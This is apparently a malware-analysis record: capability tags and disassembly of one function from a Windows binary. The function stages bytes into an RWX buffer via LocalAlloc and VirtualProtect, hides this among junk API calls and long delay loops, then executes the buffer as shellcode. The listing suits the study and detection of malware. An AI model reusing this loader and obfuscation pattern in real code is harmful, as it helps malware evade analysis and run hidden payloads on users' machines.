Function at 0x40167d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1840
call fcn.0040edd0
mov ecx, dword [0x872b14]
push esi
xor esi, esi
push edi
cmp ecx, 0x93
je 0x401849
mov eax, dword [0x41ffb8]
add ecx, 0x1134b
push ecx
push esi
mov dword [0x872c18], eax
mov dword [0x872b14], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x20]
mov dword [0x872a6c], eax
push ecx
push 0x40
push dword [0x872b14]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_SelectPalette]
dec edi
jne 0x4016db
mov ecx, dword [0x872b14]
mov edi, esi
test ecx, ecx
je 0x401767
mov eax, dword [0x872c18]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x872a6c]
mov byte [eax + edi], cl
mov ecx, dword [0x872b14]
cmp ecx, 0x490
jne 0x401762
push esi
push esi
call dword [sym.imp.GDI32.dll_SetTextAlign]
push esi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x840]
push eax
push str.pixopurato
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x872b14]
inc edi
cmp edi, ecx
jb 0x4016f3
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x4017d7
push esi
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x840]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
lea eax, [ebp - 0x440]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
lea eax, [ebp - 0xc40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0x1840]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0x872b14]
inc edi
cmp edi, 0x38681
jl 0x401769
push ecx
call fcn.0040160b
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x4017f8
call fcn.00401661
inc edi
cmp edi, 0x674db
jl 0x4017e8
mov eax, esi
cmp dword [0x872b14], 0x86
je 0x40182c
inc eax
cmp eax, 0x7b
jl 0x401803
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x872a6c]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push str.zilanupahepidikewatemoya
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x440]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0x40]
push eax
push esi
push esi
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ole32.dll_CoGetClassObject]
push esi
lea eax, [ebp - 0x1040]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call fcn.00403b2e
push esi
call fcn.00402bb6
pop ecx
pop ecx
push str.bad_exception
lea ecx, [ebp - 0x14]
call fcn.00401105
lea ecx, [ebp - 0x14]
call fcn.00401121
push esi
call fcn.00403f44
int3